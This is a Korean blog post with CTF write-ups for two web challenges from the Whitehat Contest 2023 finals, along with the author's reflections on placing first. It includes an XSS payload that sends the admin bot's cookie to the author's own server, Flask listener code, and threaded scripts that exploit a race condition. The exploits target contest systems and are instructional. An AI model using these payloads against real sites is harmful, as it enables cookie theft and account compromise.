Sechack

Whitehat Contest 2023 본선 All Web Write up + 후기 본문

CTF

Whitehat Contest 2023 본선 All Web Write up + 후기

Sechack 2023. 10. 29. 02:09
반응형

 

Whitehat Contest 2023 청소년부 1등 GG

 

이번에 드디어 큰 대회에서 1등을 했다. 사실 동점으로 늦게풀어서 2등할뻔했는데 동점 2등인 상황에서 rev1을 한팀이 더 풀면서 2솔이 되었고 crypto는 푼팀이 우리팀빼고 없어서 1등으로 올라갈 수 있었다. 이러한 기적을 만들어낸 다이나믹 스코어링 방식과 rev1을 2솔로 만들어준 3등 팀에게 감사하다. 그리고 팀원이랑 같이 푼거긴 해도 웹 올클해서 기분좋다. 한가지 아쉬운건 시상식 날이랑 HITCON 2023 Final이랑 겹쳐서 시상식때 대만 가있어야 해서 상받는 사진은 못건질거같아서 조금 아쉽긴 하다. (시상식엔 없었지만 사진은 받았다. ㅎㅎ 아래에 첨부해뒀다.) 1등은 국방부 장관상을 줘서 과기부장관상 1개(YISF때 딴거), 국방부장관상 1개 이렇게 장관상이 2개가 되었다. :)

 

 

 

 

밥이 참 맛있어보인다...

 

이번 대회에서 기억에 남는건 일반부 The Duck팀이 대회 끝나기 2시간전인가 올클하고 조기퇴근하는 진짜 경이롭고 존경스러운 광경을 봤는데 진짜 뭘 하고 어떻게 살면 실력이 그렇게 괴물이 되는지 궁금하다.

 

웹 문제 write up은 서버가 닫혀있는 관계로 대략적인 풀이 과정만 적어뒀다.

 

 

web 1 - OshinoList

 

import * as Puppeteer from "puppeteer";
import Redis from "ioredis";

const redis: Redis = new Redis(6379, "redis");

(async (): Promise<void> => {
    while (true) {
        try {
            const [error, data]: any = await redis.blpop("query", 0);
            if (data) {
                console.log("> Start to process - http://frontend:80/" + data);
                await (async (url: string): Promise<void> => {
                    const bot: Puppeteer.Browser = await Puppeteer.launch({
                        executablePath: "/usr/bin/chromium",
                        product: "chrome",
                        headless: true,
                        ignoreHTTPSErrors: true,
                        args: ["--no-sandbox", "--disable-setuid-sandbox"],
                    });
                    const page: Puppeteer.Page = await bot.newPage();
                    await page.setCookie({
                        domain: "frontend",
                        name: "flag",
                        value: process.env.flag,
                    });
                    await page
                        .goto(url, {
                            timeout: 10000,
                        })
                        .catch((error: Error): void => {
                            console.error(error);
                        });
                    await page.waitForTimeout(1000);
                    setTimeout(() => {
                        bot.close();
                    }, 30000);
                })("http://frontend:80/" + data);
                console.log("> Job Done.");
            }
        } catch (error) {
            console.log("> " + error);
        }
    }
})();

 

일단 위와 같이 flag를 세팅해주고 방문하는 봇이 있는걸 보아 xss문제임을 짐작할 수 있다.

 

import React from "react";
import YouTube from "react-youtube";
import $ from "jquery";

class CustomPlayer extends React.Component {
    constructor(props) {
        super(props);

        this.state = {
            video_index: 0,
            video_filename: this.props.video_urls[0]
                .split("/")
                .slice(-1)
                .toString(),
            video_extension: this.props.video_urls[0]
                .split(".")
                .slice(-1)
                .toString(),
        };
    }

    componentDidMount() {
        this.implementJquery();
    }

    componentDidUpdate() {
        this.implementJquery();
    }

    implementJquery() {
        const custom_player = this;

        function type_mp4() {
            $("source[id*=source_]").attr("type", "video/mp4");
        }

        function type_webm() {
            $("source[id*=source_]").attr("type", "video/webm");
        }

        function type_ogg() {
            $("source[id*=source_]").attr("type", "video/ogg");
        }

        $("video[id*=video_]").on("loadeddata", function () {
            const selected_id = $(this).attr("id").replace("video_", "");
            if ($("#source_" + selected_id).length == 0) {
                try {
                    eval(`type_${selected_id}()`);
                } catch (e) {}
            }
        });

        $("video[id*=video_]").on("ended", function () {
            custom_player.playNextVideo();
        });
    }

    isYoutube() {
        return (
            this.props.video_urls[this.state.video_index].search(
                /^(https?\:\/\/)?(www\.youtube\.com|youtu\.be)\/.+$/
            ) >= 0
        );
    }

    isVideo() {
        return (
            this.props.video_urls[this.state.video_index].search(
                /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)/
            ) >= 0
        );
    }

    sanitizeDangerousKeyword(keyword) {
        console.log(keyword);
        if (keyword.search(/window|document|location|this/i) > 0) {
            window.alert("Dangerous id is set!");
            window.location = "/";
        } else {
            return keyword;
        }
    }

    getFileName(video_url) {
        const filename = new URL(video_url).pathname
            .split("/")
            .slice(-1)
            .toString();

        if (filename) {
            return filename;
        } else {
            return "none";
        }
    }

    getExt(video_url) {
        const extension = new URL(video_url).pathname
            .split(".")
            .slice(-1)
            .toString();

        if (extension == "/") {
            return "mp4";
        } else {
            return extension;
        }
    }

    getCurrentContentId() {
        let content_id = new URL(
            this.props.video_urls[this.state.video_index]
        ).pathname
            .split("/")
            .slice(-1);

        if (content_id == "" || content_id == "watch") {
            content_id = new URL(
                this.props.video_urls[this.state.video_index]
            ).searchParams.get("v");
        }

        return content_id;
    }

    playNextVideo() {
        try {
            if (this.props.video_urls.length - 1 > this.state.video_index) {
                this.setState(() => {
                    return {
                        video_index: this.state.video_index + 1,
                        video_filename: this.state.video_filename.replace(
                            this.state.video_filename,
                            this.props.video_urls[this.state.video_index + 1]
                                .split("/")
                                .slice(-1)
                                .toString()
                        ),
                        video_extension: this.state.video_extension.replace(
                            this.state.video_extension,
                            this.sanitizeDangerousKeyword(
                                this.props.video_urls[
                                    this.state.video_index + 1
                                ]
                                    .split(".")
                                    .slice(-1)
                                    .toString()
                            )
                        ),
                    };
                });
            }
        } catch (e) {
            console.log(e);
        }
    }

    render() {
        if (this.isYoutube()) {
            return (
                <React.Fragment>
                    <div>Loading...</div>
                    <YouTube
                        id={"video_youtube"}
                        videoId={this.getCurrentContentId()}
                        style={{
                            position: "fixed",
                            top: 0,
                            left: 0,
                            right: 0,
                            bottom: 0,
                            border: "none",
                            padding: 0,
                            margin: 0,
                            overflow: "hidden",
                        }}
                        opts={{
                            width: "100%",
                            height: "100%",
                            playerVars: {
                                autoplay: 1,
                                rel: 0,
                                modestbranding: 1,
                            },
                        }}
                        onEnd={() => {
                            this.playNextVideo();
                        }}
                    />
                </React.Fragment>
            );
        } else if (this.isVideo()) {
            return (
                <React.Fragment>
                    <div>Loading...</div>
                    <div
                        style={{
                            position: "fixed",
                            inset: 0,
                            border: "none",
                            padding: 0,
                            margin: 0,
                            overflow: "hidden",
                            backgroundColor: "black",
                        }}
                    >
                        <video
                            key={this.state.video_index}
                            id={"video_" + this.state.video_extension}
                            width="100%"
                            heigh="100%"
                            controls
                            autoPlay
                            muted
                        >
                            <source
                                id={"source_" + this.state.video_extension}
                                src={
                                    this.props.video_urls[
                                        this.state.video_index
                                    ]
                                }
                            ></source>
                        </video>
                    </div>
                </React.Fragment>
            );
        } else {
            return <React.Fragment>Invalid URL</React.Fragment>;
        }
    }
}

export default CustomPlayer;

 

문제를 푸는데 있어서 중요한 부분은 이 부분이다. 사이트의 기능은 ?url=movieurl이런식으로 get방식으로 영상의 url을 전달하면 렌더링해주는 기능을 가지고 있고 위 코드가 해당 기능을 수행하는 코드이다. 처음에는 video태그에 id속성값으로 extension을 넣는걸 보고 인젝션을 시도했으나 이미 React에서 그런건 escape해버려서 의미가 없었다.

 

function type_mp4() {
    $("source[id*=source_]").attr("type", "video/mp4");
}

function type_webm() {
    $("source[id*=source_]").attr("type", "video/webm");
}

function type_ogg() {
    $("source[id*=source_]").attr("type", "video/ogg");
}
$("video[id*=video_]").on("loadeddata", function () {
    const selected_id = $(this).attr("id").replace("video_", "");
    if ($("#source_" + selected_id).length == 0) {
        try {
            eval(`type_${selected_id}()`);
        } catch (e) {}
    }
});

$("video[id*=video_]").on("ended", function () {
    custom_player.playNextVideo();
});

 

그리고 계속 코드를 분석하다가 이 부분이 굉장히 수상하다 생각이 들었다. 비디오가 로드되었을 경우 video태그의 id속성을 떼와서 eval에 넣어주면서 호출할 함수 이름을 만들고 있었다. video태그의 id태그에 들어가는 값은 video_+extension이므로 잘하면 eval에서 원하는 javascript를 실행할 수 있을거라는 생각을 했다. 코드를 아무리 봐도 공격 벡터는 여기뿐이어서 eval을 이용해서 javascript를 실행하는쪽으로 계속 생각을 했다.

 

얼핏 보면 video태그의 id속성과 source태그의 id속성 전부 prefix + extension형식으로 들어가기 때문에 $("#source_" + selected_id).length == 0을 만족할 수 없어서 eval까지 도달할 수 없어보이지만 extension에다가 css selector구문을 섞게 된다면 존재하지 않는 element를 찾게끔 해서 해당 조건을 만족할 수 있고 eval까지 도달할 수 있게 된다.

 

여기까지 했으면 2차 관문을 만나게 되는데 결국엔 eval에 들어가는 input은 extension이 된다. 하지만 extension은 eval을 실행하기 전에 먼저 css selector로 들어가게 되고 해당 결과를 통해서 eval실행 여부가 결정되는거니까 css selector부분을 구문에러 없이 통과해야 한다. 즉 정리하자면 css selector문법과 javascript문법을 둘다 만족하면서 eval에 들어갔을때 쿠키를 탈취하는 동작을 하는 javascript코드를 작성해야 한다. 여기서 굉장히 고민을 많이 했는데 [location="asdf"]이런식으로 extension을 주면 올바른 css selector문법임과 동시에 location을 조작해서 리다이렉트 할 수 있었다.

 

여기까지 오면 거의 끝난건가 싶었지만 마지막 관문이 있다. 리다이렉트는 되는데 .을 쓰지 못하고(extension을 .기준으로 구분) cookie를 이어붙여야 하는데 +를 넣으면 css selector문법 에러나고 concat함수 쓰려해도 괄호 넣으면 css selector문법 에러나고 그래서 고민을 좀 했다. 일단 .을 못넣는건 redirect하는 host부분 말곤 문제될게 없으니까 서버의 ip를 int로 바꿔서 넣어줬고 cookie이어붙이는건 그냥 javascript schema를 이용해서 "javascript:location='host'+cookie"이런식으로 처리해줬다. 저러면 +를 넣던 뭘 넣던 하나의 문자열로 취급되면서 css selector가 정상적으로 실행되니까 보다 자유로운 javascript실행이 가능해진다.

 

최종 페이로드는

 

[location="javascript:location='http://2667042687:10070?'+(document['cookie'])"]

 

이런식으로 모든걸 우회해서 정상작동하게끔 작성해줬다.

 

exploit순서는 아래와 같다.

 

1. 우선 eval까지 가기 위해서는 유효한 영상을 return받아야 하므로 extension injection에 제약받지 않도록 모든 path에서 영상을 return해주는 서버를 아래와 같이 만들어둔다.

 

from flask import Flask, send_file


app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    return send_file("a.mp4")


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=10090)

 

2. redirect할 서버를 만든다.

 

from flask import Flask, send_file


app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    return "Hi zzlol"


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=10070)

 

(flask는 실행시키면 기본적으로 path, get param에 대한 로그가 찍히므로 get방식으로 전송된 플래그 볼 수 있음.)

 

3. 최종적으로 만들어진 payload로 xss를 한다.

 

http://3.34.182.34/?urls=http://158.247.215.127:10090/a.mp4%20%2b[location=%22javascript:location=%27http://2667042687:10070?%27%2b(document[%27cookie%27])%22]%2btype_mp4

 

공백 이용해서 앞서 언급했던 payload를 가공해서 최종적으로 xss로 쿠키를 탈취할 수 있게 만들어줬다. 위 payload를 이용해서 성공적으로 cookie를 탈취할 수 있다.

 

 

web 2 - atten dance

 

'use client'
import React, {useEffect, useState} from "react";
import {Box, Button, Card, Container, Flex, HStack, Icon, Input, SimpleGrid, Text, useToast} from "@chakra-ui/react";

const checkBoardCount = 5
export default function Home() {
    const [ready, setReady] = useState(false)
    const [user, setUser] = useState('')
    const [isLogin, setIsLogin] = useState(false)
    const [stamps, setStamps] = useState([])
    const toast = useToast()

    useEffect(() => {
        setReady(true)
    }, [])

    useEffect(() => {
        if (!(ready && user && isLogin)) return
        fetchStamp()
    }, [ready, isLogin, user])

    if (!ready) return;

    const fetchStamp = () => {
        fetch('/stamps?username=' + user)
            .then(res => res.json())
            .then(res => {
                setStamps(res.stamps)
            })
    }

    const handleJoin = () => {
        fetch('/join?username=' + user)
            .then(res => res.json())
            .then(res => {
                if(res.error) {
                    toast({
                        title: "로그인",
                        description: `참여한 이력이 있어 로그인합니다.`,
                        colorScheme: "orange"
                    })
                } else {
                    toast({
                        title: "회원가입 성공",
                        description: `${user}님 환영합니다!`,
                    })
                }
                setIsLogin(true)
            })

    }

    const handleCheck = () => {
        fetch('/check?username=' + user)
            .then(res => res.json())
            .then(res => {
                if(res.error) {
                    toast({
                        title: "출석체크",
                        description: res.error,
                    })
                } else {
                    toast({
                        title: "출석체크",
                        description: `출석체크에 성공했습니다.`,
                    })
                }
            }).then(() => fetchStamp())
    }

    const handleDelete = () => {
        fetch('/del', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({username: user})
        }).then(() => {
            setUser('')
            setIsLogin(false)
        })
    }

    const handleClaim = () => {
        fetch('/claim?username=' + user)
            .then(res => res.json())
            .then(res => {
                if(res.error) {
                    toast({
                        title: "선물 받기",
                        description: res.error,
                        colorScheme: "red"
                    })
                } else {
                    toast({
                        title: "선물 받기",
                        description: res.stamps < checkBoardCount ? `당신은 도장이 ${res.stamps}개 밖에 없습니다. 선물을 받으려면 ${checkBoardCount}개가 필요합니다.` : Object.entries(res).toString(),
                        colorScheme: "red"
                    })
                }
            }).then(() => fetchStamp())
    }

    return (
        <Container maxW={'4xl'} mt={40}>
            <Flex
                textAlign={'center'}
                pt={10}
                justifyContent={'center'}
                direction={'column'}
                width={'full'}
                overflow={'hidden'}>
                <Box width={{base: 'full', sm: 'lg', lg: 'xl'}} margin={'auto'} mb={3}>
                    <Text
                        fontFamily={'Work Sans'}
                        fontWeight={'bold'}
                        fontSize={20}
                        textTransform={'uppercase'}
                        color={'purple.400'}>
                        행운의 출석체크 이벤트
                    </Text>
                    <Text
                        py={5}
                        fontSize={48}
                        fontFamily={'Work Sans'}
                        fontWeight={'bold'}
                        color={'gray.700'}>
                        출석도장 찍고, 선물 받아가자!
                    </Text>
                    <Text
                        margin={'auto'}
                        width={'70%'}
                        fontFamily={'Inter'}
                        fontWeight={'medium'}
                        color={'gray.500'}>
                        출석도장 5개를 모으면 선물을 받을 수 있어요!
                    </Text>
                    <Text color={'gray.700'}>
                        가장 먼저 출석도장 5개를 모은 사람에게는 특별제작한 깃발을 선물로 드립니다.
                    </Text>{' '}
                </Box>
                <HStack justifyContent={'center'}>
                    {isLogin && (
                        <Box>
                        <Text fontSize={'2xl'}>안녕하세요, {user}님!</Text>
                        <Text color={'gray.400'} textDecoration={'underline'} mt={2} onClick={handleDelete}>
                            혹시 이벤트가 마음에 들지 않으신가요? 여기를 클릭해 탈퇴하세요.</Text>
                        </Box>
                    )}
                    {!isLogin && (
                        <>
                        <Input w={'50%'} placeholder={'이름을 입력해주세요'} defaultValue={user} onChange={(e) => setUser(e.target.value)}/>
                        <Button bg={'purple.400'} color={'white'} onClick={() => handleJoin()}>참여하기</Button>
                        </>
                )
                    }
                </HStack>
                { isLogin &&
                  <>
                    <SimpleGrid columns={checkBoardCount} spacing={'4'} mt={16} mb={16} mx={'auto'}>
                        {Array(checkBoardCount).fill(0).map((_, i) => {
                                const isChecked = stamps.length > i
                                return (
                                    <Card key={i} border={'dotted 1px purple'} w={'100%'} h={'100px'} rounded={'md'} p={3}
                                          bg={isChecked ? 'purple.400' : 'white'}
                                          justifyContent={'center'} alignItems={'center'}>
                                        <Box mb={2}>
                                            <Text color={isChecked ? 'white' : 'purple'}>
                                                {i+1}일차
                                            </Text>
                                            <Icon viewBox="0 0 40 35" boxSize={10} color={'purple.400'}>
                                                <path
                                                    fill={isChecked ? 'white' : 'purple'}
                                                    d="M10.7964 5.04553e-07C8.66112 -0.000123335 6.57374 0.632971 4.79827 1.81922C3.0228 3.00547 1.63898 4.69158 0.82182 6.66433C0.00466116 8.63708 -0.209132 10.8079 0.207477 12.9021C0.624087 14.9964 1.65239 16.9201 3.16233 18.4299L19.1153 34.3828C19.2395 34.5074 19.3871 34.6062 19.5496 34.6736C19.7121 34.741 19.8863 34.7757 20.0622 34.7757C20.2381 34.7757 20.4123 34.741 20.5748 34.6736C20.7373 34.6062 20.8848 34.5074 21.0091 34.3828L36.962 18.4272C38.9319 16.3917 40.0228 13.6636 39.9996 10.8311C39.9764 7.99858 38.8409 5.28867 36.838 3.28573C34.835 1.28279 32.1251 0.147283 29.2926 0.124081C26.4601 0.100879 23.732 1.19184 21.6965 3.1617L20.0622 4.79337L18.4305 3.1617C17.4276 2.15892 16.237 1.36356 14.9267 0.821064C13.6163 0.278568 12.2119 -0.000433066 10.7937 5.04553e-07H10.7964Z"
                                                />
                                            </Icon>
                                        </Box>
                                        <Button border={'solid 1px gray'} rounded={'md'} fontSize={'1rem'}
                                                onClick={isChecked ? () => {} : () => handleCheck()} disabled={isChecked}>출석하기</Button>
                                    </Card>
                                )
                            }
                        )}
                    </SimpleGrid>
                    <Box w={'100%'}>
                      <Button w={'200px'} border={'solid 1px purple'} color={'white'} bg={'purple.400'} rounded={'md'} fontSize={'1rem'}
                              onClick={() => handleClaim()} disabled={stamps.length !== checkBoardCount}>선물 받기
                      </Button>
                    </Box>
                  </>
                }

            </Flex>
        </Container>
    )
}

 

react + typescript로 만들어졌다. 위 코드를 보면 대략적인 기능을 파악할 수 있다. 이 문제에서는 flag1, flag2이렇게 플래그가 2개로 나눠져 있다.

 

import {NextRequest, NextResponse} from "next/server";

import {PrismaClient} from '@prisma/client'

const prisma = new PrismaClient()

// 선물 받아가는 API
export async function GET(request: NextRequest) {
    let username = request.nextUrl.searchParams.get('username')
    if(!username) return NextResponse.json({error: 'username is required'})
    const user = await prisma.user.findFirst({where: {username}})
    if(!user) return NextResponse.json({error: 'user not exists'})
    const stamps = await prisma.stamp.findMany({where: {userId: user.id}})

    if(stamps.length >= 5) {
        return NextResponse.json({msg: `😭 someone already claimed special gift, remove him 🔫`, flag1: 'flag1'})
    }
    const stampsCount = await prisma.stamp.count({where: {userId: user.id}})
    return NextResponse.json({user: username, stamps: stampsCount})
}

 

먼저 flag1을 어떻게 얻는지 보면 stamp를 5개 찍으면 얻을 수 있다.

 

import {NextRequest, NextResponse} from "next/server";

import {PrismaClient} from '@prisma/client'

const prisma = new PrismaClient()

// 출석체크 API
export async function GET(request: NextRequest) {
    let username = request.nextUrl.searchParams.get('username')
    if(!username){
        return NextResponse.json({error: 'username is required'})
    }
    const user = await prisma.user.findFirst({where: {username: username?.toString()}})
    if(!user) return NextResponse.json({error: 'user not found'})

    const today = new Date(new Date().toISOString().split('T')[0])
    const stamp = await prisma.stamp.create({data: {userId: user.id, date: today}})
    const check = await prisma.stamp.findMany({where: {userId: user?.id, date: today}});
    if (check.length > 1) {
        await prisma.stamp.delete({where: {id: stamp.id}})
        return NextResponse.json({error: 'already checked today'})
    }
    return NextResponse.json({msg: `hello ${user.username}`})

}

 

stamp를 찍는 루틴이다. 1개 이상 stamp를 찍지 못하게 check하고 있지만 먼저 stamp를 찍은 후에 if문에서 체크를 하고 찍은 stamp를 다시 회수하는 방식이다. 따라서 thread를 이용해서 stamp찍는 요청과 stamp체크 요청을 동시다발적으로 보내게 된다면 db에서 지우는 속도보다 쓰는 속도가 더 빨라져서 stamp를 5개 채울 수 있게 되고(race condition) stamp체크 요청도 같이 보내고 있으므로 5개를 채우는 동시에 flag1이 나오게 된다.

 

import requests
from threading import Thread

def func():
    while True:
        print(requests.get("http://3.34.140.204:3000/check?username=kk").text)

t = [Thread(target=func) for _ in range(10)]
for i in range(len(t)):
    t[i].daemon = True
    t[i].start()

input("press any key to quit")

 

import requests
from threading import Thread

def func():
    while True:
        r = (requests.get("http://3.34.140.204:3000/claim?username=kk").text)
        if "someone" in r:
            print(r)
            exit(0)

t = [Thread(target=func) for _ in range(10)]
for i in range(len(t)):
    t[i].daemon = True
    t[i].start()

input("press any key to quit")

 

이렇게 2개의 script를 동시에 돌리면 몇분안에 flag1이 나오는걸 볼 수 있다.

 

-- create the databases
CREATE DATABASE IF NOT EXISTS dance;
CREATE DATABASE IF NOT EXISTS dance_shadow;

-- create the users for each database
CREATE USER 'dancer'@'%' IDENTIFIED BY 'shackshack12';
GRANT ALL PRIVILEGES ON *.* TO 'dancer'@'%';
FLUSH PRIVILEGES;

USE dance;
-- CreateTable
CREATE TABLE `User` (
                        `id` INTEGER NOT NULL AUTO_INCREMENT,
                        `username` VARCHAR(191) NOT NULL,

                        PRIMARY KEY (`id`)
) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- CreateTable
CREATE TABLE `Stamp` (
                         `id` INTEGER NOT NULL AUTO_INCREMENT,
                         `user_id` INTEGER NOT NULL,
                         `date` DATETIME(3) NOT NULL DEFAULT CURRENT_TIMESTAMP(3),

                         PRIMARY KEY (`id`)
) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

INSERT INTO dance.User (id, username) VALUES (1, 'admin');
INSERT INTO dance.User (id, username) VALUES (2, 'test');
INSERT INTO dance.User (id, username) VALUES (3, 'test2');
INSERT INTO dance.User (id, username) VALUES (4, 'flag2');
INSERT INTO dance.User (id, username) VALUES (5, 'flag2');
INSERT INTO dance.User (id, username) VALUES (6, 'flag2');
INSERT INTO dance.User (id, username) VALUES (7, 'flag2');
INSERT INTO dance.User (id, username) VALUES (8, 'flag2');
INSERT INTO dance.User (id, username) VALUES (9, 'flag2');
INSERT INTO dance.User (id, username) VALUES (10, 'flag2');
INSERT INTO dance.User (id, username) VALUES (11, 'flag2');
INSERT INTO dance.User (id, username) VALUES (12, 'flag2');
INSERT INTO dance.User (id, username) VALUES (13, 'flag2');
INSERT INTO dance.User (id, username) VALUES (14, 'flag2');
INSERT INTO dance.User (id, username) VALUES (15, 'flag2');
INSERT INTO dance.User (id, username) VALUES (16, 'flag2');
INSERT INTO dance.User (id, username) VALUES (17, 'flag2');
INSERT INTO dance.User (id, username) VALUES (18, 'flag2');
INSERT INTO dance.User (id, username) VALUES (19, 'flag2');
INSERT INTO dance.User (id, username) VALUES (20, 'flag2');
INSERT INTO dance.User (id, username) VALUES (21, 'flag2');
INSERT INTO dance.User (id, username) VALUES (22, 'flag2');
INSERT INTO dance.User (id, username) VALUES (23, 'flag2');
INSERT INTO dance.User (id, username) VALUES (24, 'flag2');
INSERT INTO dance.User (id, username) VALUES (25, 'flag2');
INSERT INTO dance.User (id, username) VALUES (26, 'flag2');
INSERT INTO dance.User (id, username) VALUES (27, 'flag2');
INSERT INTO dance.User (id, username) VALUES (28, 'flag2');
INSERT INTO dance.User (id, username) VALUES (29, 'flag2');
INSERT INTO dance.User (id, username) VALUES (30, 'flag2');
INSERT INTO dance.User (id, username) VALUES (31, 'flag2');
INSERT INTO dance.User (id, username) VALUES (32, 'flag2');
INSERT INTO dance.User (id, username) VALUES (33, 'flag2');
INSERT INTO dance.User (id, username) VALUES (34, 'flag2');
INSERT INTO dance.User (id, username) VALUES (35, 'flag2');
INSERT INTO dance.User (id, username) VALUES (36, 'flag2');
INSERT INTO dance.User (id, username) VALUES (37, 'flag2');
INSERT INTO dance.User (id, username) VALUES (38, 'flag2');
INSERT INTO dance.User (id, username) VALUES (39, 'flag2');
INSERT INTO dance.User (id, username) VALUES (40, 'flag2');
INSERT INTO dance.User (id, username) VALUES (41, 'flag2');
INSERT INTO dance.User (id, username) VALUES (42, 'flag2');
INSERT INTO dance.User (id, username) VALUES (43, 'flag2');
INSERT INTO dance.User (id, username) VALUES (44, 'flag2');
INSERT INTO dance.User (id, username) VALUES (45, 'flag2');
INSERT INTO dance.User (id, username) VALUES (46, 'flag2');
INSERT INTO dance.User (id, username) VALUES (47, 'flag2');
INSERT INTO dance.User (id, username) VALUES (48, 'flag2');
INSERT INTO dance.User (id, username) VALUES (49, 'flag2');
INSERT INTO dance.User (id, username) VALUES (50, 'flag2');
INSERT INTO dance.User (id, username) VALUES (51, '김첨지gogogogogogo');
INSERT INTO dance.User (id, username) VALUES (52, 'ggh');
INSERT INTO dance.User (id, username) VALUES (53, 'dcc');

 

flag2는 database에 username으로 들어가있는걸 볼 수 있는데

 

import {NextRequest, NextResponse} from "next/server";

import {PrismaClient} from '@prisma/client'

const prisma = new PrismaClient()

export async function POST(request: NextRequest) {
    const {username} = await request.json()
    const user = await prisma.user.findFirst({where: {username}})
    console.log(user)
    if(!user) {
        return NextResponse.json({error: 'user not exists'})
    }
    await prisma.user.delete({where: {id: user.id}})
    return NextResponse.json({msg: `bye ${user.username}`})
}

 

user를 삭제하는 기능을 보면 username파라미터가 존재하는지에 대한 검증을 안하고 있다. 그리고 지운 username도 출력해준다. 따라서 username을 안넘겨주면 FindFirst에 undefinded가 들어가게 되고 이러면 FindFirst는 맨 위를 선택하니까 user를 한명씩 지우다 보면 username이 flag2인 user가 지워지게 되고 flag2까지 볼 수 있게 된다.

반응형

'CTF' 카테고리의 다른 글

Space WAR (Pwn) Write up + 후기  (3) 2024.01.28
2023 X-mas CTF 후기  (0) 2023.12.28
WACON 2023 본선 All Web Write up + 후기  (4) 2023.09.29
YISF 2023 예선 write up  (1) 2023.08.17
ImaginaryCTF 2023 - window-of-opportunity  (2) 2023.07.25
Comments